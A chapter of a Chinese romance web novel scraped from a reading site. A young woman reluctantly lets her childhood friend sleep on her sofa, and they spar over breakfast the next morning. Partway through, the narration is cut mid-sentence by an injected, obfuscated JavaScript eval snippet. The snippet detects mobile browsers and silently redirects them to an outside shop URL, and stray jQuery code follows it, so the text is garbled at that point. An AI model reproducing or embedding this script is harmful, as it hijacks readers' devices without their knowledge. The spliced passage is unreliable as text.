文趣网 > 其他小说 > 断联后,竹马来堵门了! > 11. 第十一章
    听到声音,双玦回头。

    “你怎么在这儿坐着?”

    “我……”双玦站起身,“我敲门了,但你没听到。”

    “我在洗澡。你的朋友们呢?”

    “他们在酒店。”

    夏日的傍晚,风已经有些凉了。

    银阙把门打开说:“进来吧。”

    “你要睡了吧。”双玦站着没动,“我是不是打扰你了。”

    “你进不进?不进来我关门了。”说着便要把门关上。

    双玦忙撑住门:“别关。”

    天已经很晚了,银阙让双玦进家后便有些后悔。

    她确实很困,明天还要上班,这两天她睡得不好,需要用时长来弥补质量,本来打算直接睡的,双玦一来,不知要待多久。

    他要留下吗,可他也没带行李。

    “你来是有什么事么?”

    双玦在沙发上坐下:“出来遛弯,走远了,迷路了。走着走着就到了你家门口。这附近就这条路我走过,眼熟。”

    “你没导航么?”

    “没带手机。”他拍拍裤子口袋,摊手,“你帮我喊那两个来接我吧,或者让他们把酒店名字发来,不是我定的,记不住酒店名字。”

    银阙拿出手机在群里发了消息,但半天都没人理。

    “你们在这附近的酒店住下的吗?”

    他“嗯”了一声。

    银阙拿来电脑,把方圆几公里内的酒店、民宿和汽车旅馆都翻找出来给双玦看。双玦瞄一眼,全都摇头。

    “一个都不是吗?”

    “房间不是我定的,我也记不住是酒店还是旅店还是民宿。”他抱臂胸前在沙发上一歪,“要不,你收留我一下,我就在这儿凑合一晚就行。”

    银阙瞧他赖在沙发上的样子,就知道什么迷路没带手机不记得酒店,都是借口,目的就是赖这儿不走。

    银阙其实应该将他推走。

    自见到双玦后,她已经两次陷入闪回。双玦的到来带给她的影响,毋庸置疑是负面的,和所有人预期的一样。她不能再和他有更多的接触,不能任由自己的状态倒退。

    但转念又觉得明天是他们启程的日子,即便留他,也只有一晚。

    大不了明天再请个病假休息一天,临近圣诞,律所不忙,还不至于一个晚上都不行。

    “你去客房住吧。”银阙说。

    双玦头枕着扶手,闭上眼,蜷腿窝进沙发:“就睡沙发,我凑合一晚,说不定他们俩一会儿就来接我了。”

    虽然以前双玦常在她家睡沙发,但那时他小,沙发能当床。如今他比沙发还长,怎么能睡得舒服?

    银阙看了眼时间,决定不管他。

    酒店和客房都有舒服的床,他不睡,偏要睡这里。他上赶着睡沙发,她干吗替他操心?就让他难受着吧。

    “那我回去睡觉了。”银阙说。

    双玦睁开一只眼:“家门钥匙给我一把?万一一会儿他们来了,我走的时候好锁门。”

    银阙才不会给他钥匙。

    “门从里面锁好,出门的时候带上就行。”银阙走到门口,指了下大门球锁后面的疙瘩。

    银阙家房子老,依旧用的最基本的门锁,球锁后面的金属疙瘩,按一下就锁了,十分简单,一看就懂。

    双玦“哦”了一声:“这锁安全吗?你一个女孩子住,这东西踹一脚就开了。”

    “很安全,不锁也没事。”

    银阙转身上了楼,不一会儿又从楼上下来。

    双玦一骨碌从沙发上坐起来,看着她的眼睛里充满期待。

    银阙把怀里的薄毯丢给他,什么也没说,转头又上了楼。

    *

    许是因为太累,亦或因为前两晚她都睡得不好。银阙一躺下,沾枕头就睡着了。

    她做了一个很长的梦,梦里的双玦一直缠着她让她拍照。

    她拿着拍立得,给他拍了很多照片,但每一张都不是现在的模样,也不是曾经的模样,而是他们分开的这五年里,他一点一点成长的样子……

    银阙早上是被闹钟叫醒的,睁眼只觉得神清气爽,梦也在醒后的几分钟内忘了大半。

    她很奇怪自己为什么睡得不错。

    每次经历闪回的晚上,她都会睡得极差,都会频繁惊醒,但昨晚没有。

    银阙下楼,客厅里没有人,薄毯扔在沙发上。

    手机上也没有任何消息,双玦和他的两个朋友都没说话。

    银阙每间屋子都转了转。

    楼下卫生间的盥洗台上多了一套洗漱工具,热毛巾架上多了一条白毛巾和浴巾,别的都保持着原样。

    人去哪儿了?

    银阙正奇怪着,见院子里她悉心照料的小花圃前蹲着一个人,手拿花园铲子,像个偷花贼。

    她拉开落地窗门:“你别动,那是我辛苦养的。”

    双玦回头:“都是你养的?”

    “有一些是前房主种的,有些是我种的,我养了快一年吧。”银阙说。

    “难怪你身上有些花香。”

    “有吗?”银阙抬起胳膊闻了闻衣服上的味道,她不觉得有什么花香。

    自然界的花香本就淡,能沾在身上么?即便有花香,也该是洗衣液的味道。

    双玦站起身,指着院落篱笆旁边的小矮树:“家里还种了银蕨呢。”

    银阙说:“前房主种的,银蕨是新西兰国草,遍地都是,跟我们有什么关系?”

    双玦说:“我说跟我们有关系了吗?是你这么想吧。”

    银阙扭头就走。

    “银阙。”他又喊她。

    银阙怒目回头:“你又喊我干什么?”

    “接着。”

    双玦扔给银阙一个金光闪闪的小东西,像个金色飞贼。银阙接着一看,竟是一个一盎司的小金币,上面印了一只奇异鸟。

    她不解抬头。

    双玦手插裤袋笑:“在你家花圃里挖到的,风水宝地啊。”

    “你哄小孩儿呢。无不无聊。”

    双玦笑。

    “这是什么意思?”银阙晃晃手里的金币。

    “买来当纪念品送人的,给你一个。”

    “给我这个干什么,我不要。”银阙走过去,把金币塞他兜里,转身大步回去。

    她有些生气,她不喜欢双玦这样。

    双玦如果送她别的礼物,她会收的,但真金白银不行,他们之间不是这样的关系。

    双玦大步跟上她,没有继续招人嫌地给她塞金币。

    “你什么时候上班?我送你。”

    银阙没好气地说:“你昨晚刚迷了路,还想送谁?把自己送走吗?”

    “我可不走。”双玦笑,“我想去你律所看看。”

    银阙停脚瞪他:“双玦,你不要太过分了,知道我家地址不够,还想套律所地址是吗?也要去律所堵门吗?”

    “想去看看你们律所有没有帅哥。”

    “全是帅哥。”

    “我不信。”

    “你爱信不信。”

    银阙不想理他,回楼上卧室换衣服。

    时间尚早,距离上班还有俩小时,银阙犹豫是在家待着,还是去律所躲双玦。

    下楼听到抽油烟机在嗡嗡转。双玦围着围裙站在灶台前,锅里的沸水咕咕嘟嘟。围裙带子在他腰上一系,看着也挺窄的,肌肉不绷着的时候,他的背影除了更高些

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17625385|206248||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,和之前也没有变化很大。

    双玦回头:“煮了两个鸡蛋。简单吃一些吧,我不太会做饭。”

    锅里煮着蛋,餐桌上还放了两杯牛奶。这顿早餐虽然技术含量低,但也有一片心意。

    伸手不打笑脸人,看在白水煮蛋和倒牛奶的份上,银阙只好原谅了他的“不拿自己当外人”。

    银阙从冰箱里拿了牛奶,走去咖啡机那里打咖啡:“咖啡要么?”

    “要。”双玦把围裙摘了,走过来,倚着岛台,看她打奶,“昨晚睡得怎么样?”

    “还好。”

    “梦到我没有?”

    银阙把蒸汽棒往上抬了抬,让进气的声音更大了些,装作没听到。

    双玦没说话。

    因为奶缸里进气太多,奶泡打厚了,全堆在上层,两杯咖啡都装得太满,几乎要溢出来。

    双玦说:“你耳朵都红了,刚才还装着没听到,看来是真梦到我了。”

    银阙真是恨死自己这个总是脸红耳热的毛病了。

    “没有。”她说。

    “骗我。是不是梦到你给我拍照了?梦里我帅吗?”双玦问。

    “丑死了。”她说。

    “还说没梦到我,就你嘴硬。”

    银阙没想到自己竟会不小心掉到他挖的坑里,耳根不禁更热了。

    她怕双玦追问,只好尴尬端起咖啡去餐桌,却不料一转身撞上双玦。

    他不知什么时候站在她后面,咖啡泼了他一身。

    “抱歉。”

    银阙忙把咖啡杯放下,去扯厨房纸打算给他擦一擦。

    但双玦手臂一伸,拦住她:“不用了。”

    咖啡液顺着他的T恤滑下,油脂与奶泡在浮在面料上,一点点晕着,像在开花。

    “银阙,我不瞎。”他说,“你对我就没有一点……”

    “没有!”银阙立刻打断他,“我只是爱脸红,对你没有一点感情。”

    “我不信。”

    “双玦,你不要自作多情。”

    双玦面上一闪而过受伤的神色,他沉默了一下。

    “我,自作多情。”

    “对。”银阙狠下心说,“我对你没有半分想法,我不喜欢你。”

    双玦转身,他大步走去把客厅所有的窗帘都拉上,室内的光线寸寸暗了下来。

    银阙不解看着他,但没有动。

    在他把最后一扇落地窗的窗帘拉好后,光线朦胧了起来。

    “你转个身。”他轻描淡写地说。

    什么意思?

    银阙疑惑看着他,见他双手交叉,拉着上衣下摆,抬起胳膊。

    精窄的腰,就这么一下子闯进她眼里。

    幽暗光线下,他刻线分明的上身紧绷,如野外粗旷的捕兽网,在黄昏下悄然等待野性的收拢。

    银阙慌忙偏头,急道:“你干什么!”

    “我不能一直穿着脏衣服吧,也不能让外人看到吧。”

    银阙咬着牙。

    “你以为我要干什么?”他不咸不淡地问,

    他把T恤丢在一边,顺手把沙发扶手上搭着的白背心穿上,“换个衣服而已。”

    “你不能去卫生间换吗,或者等一会儿再换吗?”

    “等到什么时候?”他问,“以我们的关系,我换衣服还要背着你吗?”

    银阙抿紧唇,努力加深呼吸,让自己平静。

    “怎么不敢看我?”双玦朝她走来,“我又自作多情了吗?”

    在他走近时,银阙往后退,想和他拉开距离,却被他一步贴上。

    双玦俯身,唇略过她的脸颊,擦过她发烫的耳朵:“我们之前做过什么,你不记得了吗?”